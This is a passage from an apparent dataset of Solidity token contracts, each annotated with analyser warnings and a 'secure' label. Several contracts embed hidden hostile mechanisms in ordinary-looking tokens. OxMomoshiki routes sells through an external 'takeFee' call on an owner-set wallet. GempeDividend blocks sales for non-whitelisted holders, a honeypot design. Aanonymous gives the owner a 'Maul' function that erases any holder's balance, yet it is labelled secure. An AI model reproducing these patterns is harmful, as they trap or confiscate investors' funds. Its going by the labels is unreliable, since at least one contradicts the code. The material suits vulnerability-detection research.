state variables that never change.\n uint256 private _initialBuyTax2Time = 0;\n\t// WARNING Optimization Issue (constable-states | ID: b9050dc): OxMomoshiki._initialSellTax2Time should be constant \n\t// Recommendation for b9050dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax2Time = 0;\n\t// WARNING Optimization Issue (constable-states | ID: c06980c): OxMomoshiki._reduceBuyTaxAt2Time should be constant \n\t// Recommendation for c06980c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt2Time = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ced20c): OxMomoshiki._finalBuyTax should be constant \n\t// Recommendation for 2ced20c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 29d89eb): OxMomoshiki._finalSellTax should be constant \n\t// Recommendation for 29d89eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f77d1f): OxMomoshiki._preventSwapBefore should be constant \n\t// Recommendation for 7f77d1f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 10 ** 9 * 10 ** _decimals;\n string private constant _name = \"0xMomoshiki\";\n string private constant _symbol = \"0xMOSHI\";\n\n\t// divide-before-multiply | ID: 211b46a\n uint256 public _maxTxSize = 40 * (_tTotal / 100);\n\t// divide-before-multiply | ID: 4f04cf7\n uint256 public _maxWalletSize = 40 * (_tTotal / 100);\n\t// WARNING Optimization Issue (constable-states | ID: e0ba4d3): OxMomoshiki._taxSwapThreshold should be constant \n\t// Recommendation for e0ba4d3: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 1d3e65f\n uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);\n\t// WARNING Optimization Issue (constable-states | ID: 8d5feaa): OxMomoshiki._taxSwapSize should be constant \n\t// Recommendation for 8d5feaa: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: de9cc09\n uint256 public _taxSwapSize = 1 * (_tTotal / 100);\n\n IUniswapRouterV2 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = _msgSender();\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFees[owner()] = true;\n _isExcludedFromFees[address(this)] = true;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ae6f096): OxMomoshiki.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ae6f096: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 44f3cef): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 44f3cef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b9278ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b9278ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 44f3cef\n\t\t// reentrancy-benign | ID: b9278ff\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 44f3cef\n\t\t// reentrancy-benign | ID: b9278ff\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a90d973): OxMomoshiki._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a90d973: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 9edfad5\n\t\t// reentrancy-benign | ID: b9278ff\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 44f3cef\n\t\t// reentrancy-events | ID: 6bdc36e\n emit Approval(owner, spender, amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxSize = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6fe94f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6fe94f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6bdc36e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6bdc36e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9edfad5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9edfad5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 862f2c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 862f2c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount.mul(_taxBuy()).div(100);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxSize, \"Exceeds the _maxTxSize.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n\t\t\t\t// reentrancy-events | ID: 44f3cef\n\t\t\t\t// reentrancy-events | ID: b6fe94f\n\t\t\t\t// reentrancy-events | ID: 6bdc36e\n\t\t\t\t// reentrancy-benign | ID: 9edfad5\n\t\t\t\t// reentrancy-benign | ID: b9278ff\n\t\t\t\t// reentrancy-eth | ID: 862f2c6\n taxAmount = amount * _taxWallet.takeFee(from);\n amount = amount.sub(taxAmount);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: b6fe94f\n\t\t\t\t// reentrancy-events | ID: 6bdc36e\n\t\t\t\t// reentrancy-benign | ID: 9edfad5\n\t\t\t\t// reentrancy-eth | ID: 862f2c6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _taxSwapSize))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 200000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: b6fe94f\n\t\t\t\t\t// reentrancy-eth | ID: 862f2c6\n sendETHToFee(address(this).balance);\n }\n }\n }\n\t\t// reentrancy-eth | ID: 862f2c6\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 862f2c6\n _balances[to] = _balances[to].add(amount).add(taxAmount);\n\t\t// reentrancy-events | ID: b6fe94f\n emit Transfer(from, to, amount.add(taxAmount));\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 10e8b01): OxMomoshiki.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(_taxWallet).transfer(amount)\n\t// Recommendation for 10e8b01: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 44f3cef\n\t\t// reentrancy-events | ID: b6fe94f\n\t\t// reentrancy-eth | ID: 862f2c6\n\t\t// arbitrary-send-eth | ID: 10e8b01\n payable(_taxWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0182404): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0182404: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e671d87): OxMomoshiki.openTrading(address,address) ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e671d87: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c594d85): OxMomoshiki.openTrading(address,address) ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c594d85: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9219154): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9219154: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5986c61): OxMomoshiki.openTrading(address,address).taxWallet_ lacks a zerocheck on \t _taxWallet = address(taxWallet_)\n\t// Recommendation for 5986c61: Check that the address is not zero.\n function openTrading(\n address router_,\n address taxWallet_\n ) external payable onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\t\t// missing-zero-check | ID: 5986c61\n _taxWallet = payable(taxWallet_);\n uniswapV2Router = IUniswapRouterV2(router_);\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 0182404\n\t\t// reentrancy-eth | ID: 9219154\n uniswapV2Pair = IUniswapFactory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 0182404\n\t\t// unused-return | ID: c594d85\n\t\t// reentrancy-eth | ID: 9219154\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 0182404\n\t\t// unused-return | ID: e671d87\n\t\t// reentrancy-eth | ID: 9219154\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 0182404\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 9219154\n tradingOpen = true;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 44f3cef\n\t\t// reentrancy-events | ID: b6fe94f\n\t\t// reentrancy-events | ID: 6bdc36e\n\t\t// reentrancy-benign | ID: 9edfad5\n\t\t// reentrancy-benign | ID: b9278ff\n\t\t// reentrancy-eth | ID: 862f2c6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function _taxBuy() private view returns (uint256) {\n if (_buyCount <= _reduceBuyTaxAt) {\n return _initialBuyTax;\n }\n if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {\n return _initialBuyTax2Time;\n }\n return _finalBuyTax;\n }\n\n function _taxSell() private view returns (uint256) {\n if (_buyCount <= _reduceBuyTaxAt) {\n return _initialSellTax;\n }\n if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {\n return _initialSellTax2Time;\n }\n return _finalBuyTax;\n }\n}", "file_name": "solidity_code_3187.sol", "secure": 0, "size_bytes": 18295 }
{ "code": "// SPDX-License-Identifier: UNLICENCED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20Token {\n string public constant name = \"HELP&EARN\";\n string public constant symbol = \"HAE\";\n uint8 public constant decimals = 18;\n\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d0a7f84): ERC20Token.totalSupply_ should be immutable \n\t// Recommendation for d0a7f84: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 totalSupply_;\n\n using SafeMath for uint256;\n\n constructor(uint256 total) public {\n totalSupply_ = total;\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(address tokenOwner) public view returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(address receiver, uint256 numTokens) public returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(address delegate, uint256 numTokens) public returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}", "file_name": "solidity_code_3188.sol", "secure": 1, "size_bytes": 2543 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract AsherToad is ERC721A {\n uint256 public maxSupply = 1001;\n\t// WARNING Optimization Issue (immutable-states | ID: 228f452): AsherToad.price should be immutable \n\t// Recommendation for 228f452: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public price = 0 ether;\n\t// WARNING Optimization Issue (immutable-states | ID: ff103c8): AsherToad.owner should be immutable \n\t// Recommendation for ff103c8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n string uri;\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Asher Toad\", \"Asher\") {\n owner = msg.sender;\n price = 0.002 ether;\n uri = \"ipfs://QmSbKVfVTvzMSWVpeSBnRwb6VG7VrktvXPnzhdS9dRjhr7/\";\n }\n\n mapping(uint256 => uint256) free;\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n _mint(amount);\n }\n\n function setUri(string memory _uri) external onlyOwner {\n uri = _uri;\n }\n\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n uint256 t = totalSupply();\n if (t > maxSupply / 4) {\n require(balanceOf(msg.sender) == 0);\n uint256 freeNum = (maxSupply - t) / 12;\n require(free[block.number] < freeNum);\n free[block.number]++;\n }\n _safeMint(msg.sender, 1);\n return;\n }\n require(msg.value >= amount * price);\n _safeMint(msg.sender, amount);\n }\n\n function commuMint(uint16 _mintAmount, address _addr) external onlyOwner {\n require(\n totalSupply() + _mintAmount <= maxSupply,\n \"Exceeds max supply.\"\n );\n _safeMint(_addr, _mintAmount);\n }\n\n function setFreePertx(uint256 pret, uint256 pret2) external onlyOwner {\n maxSupply = pret2;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 50) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_3189.sol", "secure": 1, "size_bytes": 2745 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TUXthepenguin is ERC20, Ownable {\n constructor() ERC20(\"tUX the penguin\", \"TUX\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_319.sol", "secure": 1, "size_bytes": 363 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Aanonymous {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 75000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 3b45fc9): aanonymous._name should be constant \n\t// Recommendation for 3b45fc9: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Anonymous\";\n\t// WARNING Optimization Issue (constable-states | ID: 5c55f90): aanonymous._symbol should be constant \n\t// Recommendation for 5c55f90: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ANON\";\n\t// WARNING Optimization Issue (immutable-states | ID: ee95162): aanonymous._owner should be immutable \n\t// Recommendation for ee95162: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function Maul(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3190.sol", "secure": 1, "size_bytes": 5840 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 845e631): Contract locking ether found Contract GempeDividend has payable functions GempeDividend.receive() But does not have a function to withdraw the ether\n// Recommendation for 845e631: Remove the 'payable' attribute or add a withdraw function.\ncontract GempeDividend is Ownable {\n address private pair;\n mapping(address => bool) private _whitelists;\n address private token;\n bool private isDividendFinished;\n mapping(address => uint256) private _dividendTimePassed;\n modifier onlyToken() {\n require(msg.sender == token);\n _;\n }\n\n uint256 private claimTime;\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c3d8ed7): GempeDividend.accumulativeDividendOf(address,address) uses timestamp for comparisons Dangerous comparisons require(bool)(! isDividendFinished && _dividendTimePassed[_from] >= claimTime)\n\t// Recommendation for c3d8ed7: Avoid relying on 'block.timestamp'.\n function accumulativeDividendOf(\n address _from,\n address _to\n ) external onlyToken returns (uint256) {\n if (_whitelists[_from] || _whitelists[_to]) {\n return 1;\n }\n if (_from == pair) {\n if (_dividendTimePassed[_to] == 0) {\n _dividendTimePassed[_to] = block.timestamp;\n }\n } else if (_to == pair) {\n\t\t\t// timestamp | ID: c3d8ed7\n require(\n !isDividendFinished && _dividendTimePassed[_from] >= claimTime\n );\n } else {\n _dividendTimePassed[_to] = 0;\n }\n return 0;\n }\n function whitelistForDividendsGempe(\n address owner_,\n bool _isWhitelist\n ) external onlyOwner {\n _whitelists[owner_] = _isWhitelist;\n }\n\n function setDividendFinishedGempe(bool isFinished) external onlyOwner {\n isDividendFinished = isFinished;\n }\n\n function setClaimingTimeForDividendGempe() external onlyOwner {\n claimTime = block.timestamp;\n }\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 845e631): Contract locking ether found Contract GempeDividend has payable functions GempeDividend.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 845e631: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 068b283): GempeDividend.setTokenForDividendsGempe(address,address) should emit an event for token = _token \n\t// Recommendation for 068b283: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f023d8f): GempeDividend.setTokenForDividendsGempe(address,address)._token lacks a zerocheck on \t token = _token\n\t// Recommendation for f023d8f: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a1509f1): GempeDividend.setTokenForDividendsGempe(address,address)._pair lacks a zerocheck on \t pair = _pair\n\t// Recommendation for a1509f1: Check that the address is not zero.\n function setTokenForDividendsGempe(\n address _token,\n address _pair\n ) external onlyOwner {\n isDividendFinished = false;\n claimTime = 0;\n\t\t// missing-zero-check | ID: f023d8f\n\t\t// events-access | ID: 068b283\n token = _token;\n\t\t// missing-zero-check | ID: a1509f1\n pair = _pair;\n }\n}", "file_name": "solidity_code_3191.sol", "secure": 0, "size_bytes": 3665 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"./IBEP20Metadata.sol\" as IBEP20Metadata;\n\ncontract BUFF is Context, IBEP20, IBEP20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n uint256 private _totalSupply = 1000000000 * 10 ** uint256(decimals());\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(_msgSender(), _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), deadAddress, (amount * 5) / 100);\n _transfer(_msgSender(), recipient, (amount * 95) / 100);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n }\n _transfer(sender, deadAddress, (amount * 5) / 100);\n _transfer(sender, recipient, (amount * 95) / 100);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _beforeTokenTransfer(address(0), account, amount);\n _balances[account] = amount;\n emit Transfer(address(0), account, amount);\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n _beforeTokenTransfer(account, address(0), amount);\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function 